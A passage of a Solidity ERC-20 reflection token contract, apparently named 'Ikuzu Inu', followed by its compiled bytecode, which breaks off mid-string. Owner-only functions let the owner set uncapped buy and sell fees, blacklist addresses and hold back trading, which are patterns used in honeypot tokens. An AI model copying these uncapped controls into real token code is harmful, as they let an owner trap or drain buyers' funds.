function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d70565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e41565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e99565b61087b565b6040516102649190612ef4565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6e565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f98565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fb3565b6108d0565b6040516102f79190612ef4565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b6040516103229190612f98565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613022565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b604051610378919061304c565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613067565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130c0565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613067565b610c51565b60405161041e9190612f98565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ed565b610df5565b005b34801561047357600080fd5b5061047c610e94565b6040516104899190612f98565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613067565b610e9a565b6040516104c69190612f98565b60405180910390f35b3480156104db57600080fd5b506104e4610eb2565b6040516104f1919061304c565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130c0565b610edb565b005b34801561052f57600080fd5b50610538610f8d565b6040516105459190612f98565b60405180910390f35b34801561055a57600080fd5b50610563610f93565b6040516105709190612e41565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130ed565b610fd0565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061311a565b61106f565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e99565b611126565b6040516105ff9190612ef4565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613067565b611144565b60405161063c9190612ef4565b60405180910390f35b34801561065157600080fd5b5061065a611164565b005b34801561066857600080fd5b50610683600480360381019061067e91906131dc565b61123d565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061323c565b611377565b6040516106b99190612f98565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130ed565b6113fe565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613067565b61149d565b005b61071c61165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c8565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613346565b9150506107ac565b5050565b60606040518060400160405280600981526020017f496b757a7520496e750000000000000000000000000000000000000000000000815250905090565b600061088f61088861165f565b8484611667565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611832565b61099e846108e961165f565b61099985604051806060016040528060288152602001613d8760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f61165f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b79092919063ffffffff16565b611667565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e661165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906132c8565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad661165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a906132c8565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc161165f565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f61165f565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e8161211b565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612187565b9050919050565b610caa61165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e906132c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd61165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e81906132c8565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee361165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f67906132c8565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f494b555a55000000000000000000000000000000000000000000000000000000815250905090565b610fd861165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c906132c8565b60405180910390fd5b8060188190555050565b61107761165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb906132c8565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113a61113361165f565b8484611832565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a561165f565b73ffffffffffffffffffffffffffffffffffffffff16148061121b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120361165f565b73ffffffffffffffffffffffffffffffffffffffff16145b61122457600080fd5b600061122f30610c51565b905061123a816121f5565b50565b61124561165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c9906132c8565b60405180910390fd5b60005b838390508110156113715781600560008686858181106112f8576112f76132e8565b5b905060200201602081019061130d9190613067565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136990613346565b9150506112d5565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140661165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148a906132c8565b60405180910390fd5b8060178190555050565b6114a561165f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611532576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611529906132c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159990613401565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90613493565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e90613525565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118259190612f98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611899906135b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190990613649565b60405180910390fd5b60008111611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c906136db565b60405180910390fd5b61195d610eb2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119cb575061199b610eb2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db657601560149054906101000a900460ff16611a5a576119ec610eb2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a509061376d565b60405180910390fd5b5b601654811115611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a96906137d9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b435750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b799061386b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2f5760175481611be484610c51565b611bee919061388b565b10611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2590613953565b60405180910390fd5b5b6000611c3a30610c51565b9050600060185482101590506016548210611c555760165491505b808015611c6d575060158054906101000a900460ff16155b8015611cc75750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750601560169054906101000a900460ff165b8015611d355750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8b5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db357611d99826121f5565b60004790506000811115611db157611db04761211b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f105750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1e57600090506120a5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe157600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a457600a54600c81905550600b54600d819055505b5b6120b18484848461247b565b50505050565b60008383111582906120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f69190612e41565b60405180910390fd5b506000838561210e9190613973565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612183573d6000803e3d6000fd5b5050565b60006006548211156121ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c590613a19565b60405180910390fd5b60006121d86124a8565b90506121ed81846124d390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222c5761222b612bcf565b5b60405190808252806020026020018201604052801561225a5781602001602082028036833780820191505090505b5090503081600081518110612272576122716132e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231457600080fd5b505afa158015612328573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234c9190613a4e565b816001815181106123605761235f6132e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c730601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611667565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242b959493929190613b74565b600060405180830381600087803b15801561244557600080fd5b505af1158015612459573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124895761248861251d565b5b612494848484612560565b806124a2576124a161272b565b5b50505050565b60008060006124b561273f565b915091506124cc81836124d390919063ffffffff16565b9250505090565b600061251583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127a1565b905092915050565b6000600c5414801561253157506000600d54145b1561253b5761255e565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257287612804565b9550955095509550955095506125d086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b181612914565b6126bb84836129d1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127189190612f98565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea000009050612775683635c9adc5dea000006006546124d390919063ffffffff16565b82101561279457600654683635c9adc5dea0000093509350505061279d565b81819350935050505b9091565b600080831182906127e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127df9190612e41565b60405180910390fd5b50600083856127f79190613bfd565b9050809150509392505050565b60008060008060008060008060006128218a600c54600d54612a0b565b92509250925060006128316124a8565b905060008060006128448e878787612aa1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b7565b905092915050565b60008082846128c5919061388b565b90508381101561290a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290190613c7a565b60405180910390fd5b8091505092915050565b600061291e6124a8565b905060006129358284612b2a90919063ffffffff16565b905061298981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e68260065461286c90919063ffffffff16565b600681905550612a01816007546128b690919063ffffffff16565b6007819055505050565b600080600080612a376064612a29888a612b2a90919063ffffffff16565b6124d390919063ffffffff16565b90506000612a616064612a53888b612b2a90919063ffffffff16565b6124d390919063ffffffff16565b90506000612a8a82612a7c858c61286c90919063ffffffff16565b61286c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612aba8589612b2a90919063ffffffff16565b90506000612ad18689612b2a90919063ffffffff16565b90506000612ae88789612b2a90919063ffffffff16565b90506000612b1182612b03858761286c90919063ffffffff16565b61286c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b3d5760009050612b9f565b60008284612b4b9190613c9a565b9050828482612b5a9190613bfd565b14612b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9190613d66565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0782612bbe565b810181811067ffffffffffffffff82111715612c2657612c25612bcf565b5b80604052505050565b6000612c39612ba5565b9050612c458282612bfe565b919050565b600067ffffffffffffffff821115612c6557612c64612bcf565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca682612c7b565b9050919050565b612cb681612c9b565b8114612cc157600080fd5b50565b600081359050612cd381612cad565b92915050565b6000612cec612ce784612c4a565b612c2f565b90508083825260208201905060208402830185811115612d0f57612d0e612c76565b5b835b81811015612d385780612d248882612cc4565b845260208401935050602081019050612d11565b5050509392505050565b600082601f830112612d5757612d56612bb9565b5b8135612d67848260208601612cd9565b91505092915050565b600060208284031215612d8657612d85612baf565b5b600082013567ffffffffffffffff811115612da457612da3612bb4565b5b612db084828501612d42565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612df3578082015181840152602081019050612dd8565b83811115612e02576000848401525b50505050565b6000612e1382612db9565b612e1d8185612dc4565b9350612e2d818560208601612dd5565b612e3681612bbe565b840191505092915050565b60006020820190508181036000830152612e5b8184612e08565b905092915050565b6000819050919050565b612e7681612e63565b8114612e8157600080fd5b50565b600081359050612e9381612e6d565b92915050565b60008060408385031215612eb057612eaf612baf565b5b6000612ebe85828601612cc4565b9250506020612ecf85828601612e84565b9150509250929050565b60008115159050919050565b612eee81612ed9565b82525050565b6000602082019050612f096000830184612ee5565b92915050565b6000819050919050565b6000612f34612f2f612f2a84612c7b565b612f0f565b612c7b565b9050919050565b6000612f4682612f19565b9050919050565b6000612f5882612f3b565b9050919050565b612f6881612f4d565b82525050565b6000602082019050612f836000830184612f5f565b92915050565b612f9281612e63565b82525050565b6000602082019050612fad6000830184612f89565b92915050565b600080600060608486031215612fcc57612fcb612baf565b5b6000612fda86828701612cc4565b9350506020612feb86828701612cc4565b9250506040612ffc86828701612e